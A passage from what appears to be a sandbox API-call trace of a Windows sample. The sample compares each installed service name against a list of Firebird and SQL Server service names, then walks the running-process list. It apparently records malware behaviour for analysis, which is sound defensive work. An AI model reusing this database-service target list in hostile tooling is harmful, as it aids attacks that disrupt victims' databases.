(lpString="DeviceAssociationService") returned 24 [0177.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0177.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0177.826] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0177.826] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0177.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0177.826] lstrlenW (lpString="Dhcp") returned 4 [0177.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0177.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0177.826] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0177.826] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0177.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0177.826] lstrlenW (lpString="Dnscache") returned 8 [0177.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0177.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0177.826] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0177.826] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0177.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0177.826] lstrlenW (lpString="DPS") returned 3 [0177.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0177.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0177.826] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0177.826] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0177.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0177.826] lstrlenW (lpString="DusmSvc") returned 7 [0177.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0177.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0177.826] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0177.826] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0177.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0177.826] lstrlenW (lpString="EventLog") returned 8 [0177.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0177.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0177.827] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0177.827] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0177.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0177.827] lstrlenW (lpString="EventSystem") returned 11 [0177.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0177.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0177.827] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0177.827] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0177.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0177.827] lstrlenW (lpString="FontCache") returned 9 [0177.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0177.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0177.827] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0177.827] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0177.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0177.827] lstrlenW (lpString="gpsvc") returned 5 [0177.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0177.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0177.827] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0177.827] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0177.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0177.827] lstrlenW (lpString="iphlpsvc") returned 8 [0177.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0177.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0177.827] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0177.827] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0177.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0177.827] lstrlenW (lpString="KeyIso") returned 6 [0177.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0177.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0177.828] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0177.828] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0177.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0177.828] lstrlenW (lpString="LanmanServer") returned 12 [0177.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0177.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0177.828] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0177.828] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0177.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0177.828] lstrlenW (lpString="LanmanWorkstation") returned 17 [0177.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0177.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0177.828] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0177.828] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0177.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0177.828] lstrlenW (lpString="lfsvc") returned 5 [0177.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0177.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0177.828] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0177.828] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0177.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0177.828] lstrlenW (lpString="lmhosts") returned 7 [0177.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0177.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0177.828] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0177.828] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0177.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0177.828] lstrlenW (lpString="LSM") returned 3 [0177.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0177.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0177.828] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0177.828] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0177.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0177.829] lstrlenW (lpString="MpsSvc") returned 6 [0177.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0177.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0177.829] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0177.829] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0177.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0177.829] lstrlenW (lpString="NcbService") returned 10 [0177.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0177.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0177.829] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0177.829] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0177.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0177.829] lstrlenW (lpString="netprofm") returned 8 [0177.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0177.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0177.829] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0177.829] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0177.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0177.829] lstrlenW (lpString="NgcSvc") returned 6 [0177.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0177.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0177.829] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0177.831] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0177.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0177.831] lstrlenW (lpString="NlaSvc") returned 6 [0177.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0177.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0177.831] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0177.831] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0177.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0177.831] lstrlenW (lpString="nsi") returned 3 [0177.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0177.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0177.831] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0177.831] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0177.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0177.832] lstrlenW (lpString="PcaSvc") returned 6 [0177.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0177.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0177.832] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0177.832] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0177.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0177.832] lstrlenW (lpString="PlugPlay") returned 8 [0177.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0177.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0177.832] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0177.832] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0177.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0177.832] lstrlenW (lpString="Power") returned 5 [0177.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0177.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0177.832] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0177.832] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0177.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0177.832] lstrlenW (lpString="ProfSvc") returned 7 [0177.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0177.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0177.832] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0177.832] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0177.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0177.832] lstrlenW (lpString="RpcEptMapper") returned 12 [0177.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0177.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0177.832] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0177.832] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0177.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0177.832] lstrlenW (lpString="RpcSs") returned 5 [0177.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0177.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0177.833] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0177.833] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0177.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0177.833] lstrlenW (lpString="SamSs") returned 5 [0177.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0177.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0177.833] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0177.833] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0177.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0177.833] lstrlenW (lpString="Schedule") returned 8 [0177.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0177.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0177.833] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0177.833] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0177.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0177.833] lstrlenW (lpString="SecurityHealthService") returned 21 [0177.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0177.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0177.833] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0177.833] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0177.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0177.833] lstrlenW (lpString="SENS") returned 4 [0177.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0177.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0177.833] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0177.833] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0177.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0177.833] lstrlenW (lpString="ShellHWDetection") returned 16 [0177.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0177.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0177.833] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0177.833] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0177.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0177.834] lstrlenW (lpString="Spooler") returned 7 [0177.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0177.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0177.834] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0177.834] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0177.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0177.834] lstrlenW (lpString="StateRepository") returned 15 [0177.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0177.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0177.835] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0177.835] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0177.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0177.835] lstrlenW (lpString="SysMain") returned 7 [0177.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0177.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0177.835] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0177.835] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0177.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0177.835] lstrlenW (lpString="SystemEventsBroker") returned 18 [0177.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0177.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0177.835] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0177.835] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0177.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0177.835] lstrlenW (lpString="Themes") returned 6 [0177.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0177.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0177.835] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0177.835] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0177.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0177.835] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0177.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0177.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0177.835] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0177.836] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0177.836] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4121fa0 | out: hHeap=0x420000) returned 1 [0177.836] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x560 [0177.841] Process32FirstW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0177.842] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0177.842] lstrlenW (lpString="System") returned 6 [0177.842] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0177.843] lstrlenW (lpString="smss.exe") returned 8 [0177.843] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0177.843] lstrlenW (lpString="csrss.exe") returned 9 [0177.843] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0177.843] lstrlenW (lpString="wininit.exe") returned 11 [0177.843] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0177.844] lstrlenW (lpString="csrss.exe") returned 9 [0177.844] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0177.845] lstrlenW (lpString="winlogon.exe") returned 12 [0177.845] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0177.845] lstrlenW (lpString="services.exe") returned 12 [0177.845] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0177.845] lstrlenW (lpString="lsass.exe") returned 9 [0177.846] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0177.846] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0177.846] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0177.847] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0177.847] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.847] lstrlenW (lpString="svchost.exe") returned 11 [0177.847] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.848] lstrlenW (lpString="svchost.exe") returned 11 [0177.848] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0177.848] lstrlenW (lpString="dwm.exe") returned 7 [0177.848] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.848] lstrlenW (lpString="svchost.exe") returned 11 [0177.849] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.849] lstrlenW (lpString="svchost.exe") returned 11 [0177.849] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.850] lstrlenW (lpString="svchost.exe") returned 11 [0177.850] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.850] lstrlenW (lpString="svchost.exe") returned 11 [0177.850] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.851] lstrlenW (lpString="svchost.exe") returned 11 [0177.851] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.851] lstrlenW (lpString="svchost.exe") returned 11 [0177.851] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.852] lstrlenW (lpString="svchost.exe") returned 11 [0177.852] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.852] lstrlenW (lpString="svchost.exe") returned 11 [0177.852] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: 